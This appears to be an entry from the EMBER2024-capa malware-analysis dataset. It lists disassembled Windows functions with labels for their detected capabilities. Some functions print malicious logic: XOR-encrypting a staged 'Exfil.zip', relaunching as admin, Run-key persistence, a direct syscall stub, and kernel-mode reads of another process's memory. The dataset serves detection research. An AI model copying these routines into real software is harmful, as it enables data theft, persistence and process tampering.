joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401fa4
Capabilities:
Get disk information
Set registry value

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 4], 0
lea rax, [rbp - 4]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8d, 0
mov edx, 0
lea rcx, [0x0040569b]
mov rax, qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLocalTime]
call rax
movzx eax, word [rbp - 0x20]
movzx ecx, ax
movzx eax, word [rbp - 0x1a]
movzx edx, ax
movzx eax, word [rbp - 0x1e]
movzx eax, ax
mov r8d, dword [rbp - 4]
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], eax
mov r9d, r8d
lea r8, str._x__hu__hu__hu
mov edx, 0x40
lea rcx, [0x00408040]
call dbg.snprintf
lea rdx, [0x00408040]
lea rcx, str.Key_is__s
call sym.printf
lea rax, [rbp - 0x2c]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.SoftwareMusicDownloader
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
call rax
test eax, eax
je 0x4020be
mov eax, dword [rbp - 0x2c]
mov edx, eax
lea rcx, str.Failed_to_create_registry_key._Error_code__d
call sym.printf
lea rcx, [0x00408040]
call sym.strlen
mov edx, eax
mov rax, qword [rbp - 0x28]
mov dword [rsp + 0x28], edx
lea rdx, [0x00408040]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.song_id
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
je 0x40210f
lea rcx, str.Failed_to_write_values_to_key
call sym.printf
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x40212a
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 0x20]
lea r8, [0x00405062]
lea rdx, str.C:WindowsTempExfil.zip
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_fopen_s]
call rax
mov rax, qword [rbp - 0x20]
test rax, rax
je 0x4022ab
mov rax, qword [rbp - 0x20]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.ftell
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
mov edx, eax
lea rcx, str.callocing_size_of__i
call sym.printf
mov rax, qword [rbp - 0x20]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov eax, dword [rbp - 8]
cdqe
mov edx, 2
mov rcx, rax
call sym.calloc
mov qword [rbp - 0x10], rax
mov rcx, qword [rbp - 0x20]
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
lea rcx, [0x00408040]
call sym.strlen
mov dword [rbp - 0x14], eax
mov dword [rbp - 4], 0
jmp 0x402237
mov eax, dword [rbp - 4]
cdqe
mov rdx, qword [rbp - 0x10]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp - 4]
cdq
idiv dword [rbp - 0x14]
mov eax, edx
cdqe
lea rdx, [0x00408040]
movzx ecx, byte [rax + rdx]
mov eax, dword [rbp - 4]
cdqe
mov rdx, qword [rbp - 0x10]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, dword [rbp - 8]
jl 0x4021fa
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x20]
lea r8, [0x004056c0]
lea rdx, str.C:WindowsTempExfil.zip
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_fopen_s]
call rax
mov rax, qword [rbp - 0x20]
test rax, rax
je 0x40229f
mov rcx, qword [rbp - 0x20]
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x4022b6
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x2b8
lea rbp, [rsp + 0x80]
call sym.__main
call dbg.IsRunAsAdmin
test eax, eax
jne 0x40234b
lea rax, [rbp + 0x10]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x60], 0x70
lea rax, [rbp + 0x10]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x30], 1
lea rax, str.runas
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExW]
call rax
lea rcx, str.Reran_as_admin_n
call sym.puts
mov ecx, 0
call sym.exit
call dbg.oreos
call dbg.milk
lea rax, [0x0040569b]
mov qword [rbp + 0x228], rax
lea rax, str.STAR
mov qword [rbp + 0x220], rax
mov rdx, qword [rbp + 0x220]
mov rax, qword [rbp + 0x228]
mov rcx, rax
call dbg.wishbone
call dbg.ykk
call dbg.cryptkeeper
call dbg.enigma
call dbg.exfil
mov eax, 0
add rsp, 0x2b8
pop rdi
pop rbp
ret
Function at 0x402910
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408664]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402a98
mov rax, qword [0x00408668]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40295c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4029e5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402940
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x402acd
mov rax, qword [0x00408668]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408668]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402ab0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4029de
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402a40
add dword [0x00408664], 1
cmp edi, 8
jae 0x402a13
test dil, 4
jne 0x402a84
test edi, edi
je 0x402a08
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x402a9f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402a08
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x402a2c
jmp 0x402a08
add rsi, qword [0x00408668]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4029de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402a08
xor esi, esi
jmp 0x402967
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402a08
mov rax, qword [0x00408668]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x403220
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408940]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00408920]
test rbx, rbx
je 0x403274
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40326b
test rsi, rsi
je 0x40326b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403250
lea rcx, [0x00408940]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4034b0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4034c0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4034d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403511
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x403508
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x403513
add rax, 0x28
cmp rax, r9
jne 0x4034f4
xor eax, eax
ret

Function at 0x4035b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405a20]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40361d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40361d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40361d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403614
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40361f
add rax, 0x28
cmp rax, r9
jne 0x403600
xor eax, eax
add rsp, 0x28
ret

Function at 0x403720
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405a20]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403740
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403738
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40379d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403794
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4037a4
add rax, 0x28
cmp rax, r9
jne 0x403780
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4037c0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00405a20]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40382e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40382e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40382e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40382e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x403825
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403835
add rcx, 0x28
cmp rcx, rax
jne 0x403810
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403848
jmp 0x40382e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x403856
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40382e
test r9d, r9d
jg 0x403840
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x140002150
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140049100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400490e0]
test rbx, rbx
je 0x1400021a4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000219b
test r12, r12
je 0x14000219b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002180
lea rcx, [0x140049100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400024e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140046360]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002559
mov rcx, r10
call fcn.1400023b0
test eax, eax
je 0x140002559
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002556
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000254d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002559
add r8, 0x28
cmp r8, r9
jne 0x140002538
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140008710
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140008740
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x14000873f
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140008745
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x14000873f
mov eax, 0
jmp 0x14000873f

Function at 0x140008dc0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140008d70
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400123e0
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001af20
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call fcn.14001b508
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001af20
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call fcn.14001b4c0
nop
nop dword [rax]
Function at 0x140012fb0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [sym.MZ_k2__y4iQ_XKIO3kd_URt3g_iw01_45Zi8z]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14001301f
mov rcx, r9
call fcn.140012e80
test eax, eax
je 0x14001301f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14001301d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140013014
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14001301f
add rdx, 0x28
cmp rdx, r9
jne 0x140013000
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x140013ce0
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, qword [rcx + 8]
mov rdi, qword [rcx]
cmp rsi, 8
mov rbx, rcx
ja 0x140013d30
lea rcx, [rdi + 8]
call sub.msvcrt.dll_malloc
test rax, rax
je 0x140013d72
mov rdx, qword [rbx + 0x18]
mov qword [rax], rax
lea r9, [rax + 8]
mov r8, rdi
test rdx, rdx
je 0x140013d5a
mov rcx, r9
call fcn.14001b520
mov r9, rax
mov rax, r9
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
lea rcx, [rsi + rdi + 7]
call sub.msvcrt.dll_malloc
test rax, rax
je 0x140013d72
lea r9, [rax + rsi + 7]
neg rsi
mov r8, rdi
and r9, rsi
mov qword [r9 - 8], rax
mov rdx, qword [rbx + 0x18]
test rdx, rdx
jne 0x140013d18
mov rcx, r9
xor edx, edx
call sub.msvcrt.dll_memset
mov r9, rax
mov rax, r9
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001b4c0
nop
nop dword [rax + rax]
Function at 0x1400015a8
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rdx]
mov rbx, rcx
movdqu xmmword [rsp + 0x20], xmm0
call qword [sym.imp.ntoskrnl.exe_PsGetProcessPeb]
mov rdi, rax
test rax, rax
je 0x140001629
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rdi, qword [rdi + 0x18]
test rdi, rdi
je 0x140001619
add rdi, 0x10
mov rbx, qword [rdi]
jmp 0x140001614
lea rcx, [rbx + 0x58]
mov r8b, 1
lea rdx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_RtlCompareUnicodeString]
test eax, eax
je 0x140001644
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x1400015fb
xor ebx, ebx
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rax, rbx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001a70
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret
mov rbx, qword [rbx + 0x30]
jmp 0x14000161b

Function at 0x14000164c
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x20
and dword [rax + 0x10], 0
lea r9, [rax + 0x10]
xor edx, edx
mov rsi, rcx
xor r8d, r8d
lea ebx, [rdx + 0xb]
mov ecx, ebx
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x140001714
mov edx, eax
xor ecx, ecx
mov r8d, 0x4e554c4c
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov r8d, dword [rsp + 0x38]
lea r9, [rsp + 0x38]
mov rdx, rax
mov ecx, ebx
mov rdi, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
js 0x140001714
lfence
mov r8d, dword [rdi]
xor ebx, ebx
xor ecx, ecx
test r8d, r8d
je 0x1400016f9
mov eax, ecx
mov r10, rsi
imul r11, rax, 0x128
lea rax, [rdi + 0x30]
add rax, r11
sub r10, rax
movzx edx, byte [rax]
movzx r9d, byte [rax + r10]
sub edx, r9d
jne 0x1400016e7
inc rax
test r9d, r9d
jne 0x1400016d2
test edx, edx
je 0x1400016f4
inc ecx
cmp ecx, r8d
jb 0x1400016bc
jmp 0x1400016f9
mov rbx, qword [r11 + rdi + 0x18]
lfence
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
test rbx, rbx
je 0x140001714
lfence
mov rax, rbx
jmp 0x140001716
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140001818
Capabilities:
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rbx, r9
mov rdi, r8
mov rsi, rdx
test rdx, rdx
je 0x140001884
test r8, r8
je 0x140001884
test rbx, rbx
je 0x140001884
and qword [rax + 0x10], 0
lea rdx, [rax - 0x18]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov rcx, qword [rsp + 0x40]
mov r9, rdi
mov r8, rax
mov rdx, rsi
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], rbx
call sub.ntoskrnl.exe_MmCopyVirtualMemory
test eax, eax
js 0x140001884
mov al, 1
jmp 0x140001886
xor al, al
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140001898
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rbx, r9
mov rsi, r8
mov rdi, rdx
test rdx, rdx
je 0x14000197c
test r8, r8
je 0x14000197c
test rbx, rbx
je 0x14000197c
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
and qword [rsp + 0x28], 0
lea r9, [rsp + 0x38]
xor r8d, r8d
mov qword [rsp + 0x20], 0x30
mov rdx, rdi
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwQueryVirtualMemory]
test eax, eax
js 0x140001971
mov rcx, qword [rsp + 0x50]
lea rdx, [rbx + rdi]
add rcx, qword [rsp + 0x38]
cmp rcx, rdx
jb 0x140001971
test dword [rsp + 0x58], 0x1000
je 0x140001971
mov eax, dword [rsp + 0x5c]
test eax, 0x101
jne 0x140001971
test al, 0x40
jne 0x140001954
test al, al
js 0x140001954
test al, 4
jne 0x140001954
test al, 8
je 0x140001962
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call fcn.140001b80
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov al, 1
jmp 0x14000197e
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140001a70
add rsp, 0xa0
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001130
Capabilities:
Create thread

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rcx], rdx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, section..text
xor ecx, ecx
xor edx, edx
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsi + 8], rax
add rsp, 0x30
pop rsi
ret

Function at 0x140001170
Capabilities:
Terminate thread

Disassembly:
mov rcx, qword [rcx + 8]
xor edx, edx
jmp qword [sym.imp.KERNEL32.dll_TerminateThread]
Function at 0x14000b100
Capabilities:
Get session user name

Disassembly:
push rsi
push rdi
sub rsp, 0x238
mov rsi, rcx
lea rdi, [rsp + 0x30]
mov r8d, 0x200
mov rcx, rdi
xor edx, edx
call fcn.14004f450
call fcn.140008ee0
cdqe
lea rcx, [0x140084284]
mov eax, dword [rcx + rax*4]
mov dword [rsp + 0x2c], eax
lea rdx, [rsp + 0x2c]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], 0
call fcn.140009c30
cdqe
lea rcx, [0x1400842d0]
mov rax, qword [rcx + rax*8]
mov qword [rsi + 0x18], rax
mov rcx, rdi
call fcn.14005bd00
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.140005060
mov rax, rsi
add rsp, 0x238
pop rdi
pop rsi
ret

Function at 0x14000b380
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rsi
sub rsp, 0x40
mov rsi, rcx
mov rax, qword [0x1400ad328]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
xor r8d, r8d
mov r9d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x28], 7
mov rdx, rsi
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14003c990
nop
add rsp, 0x40
pop rsi
ret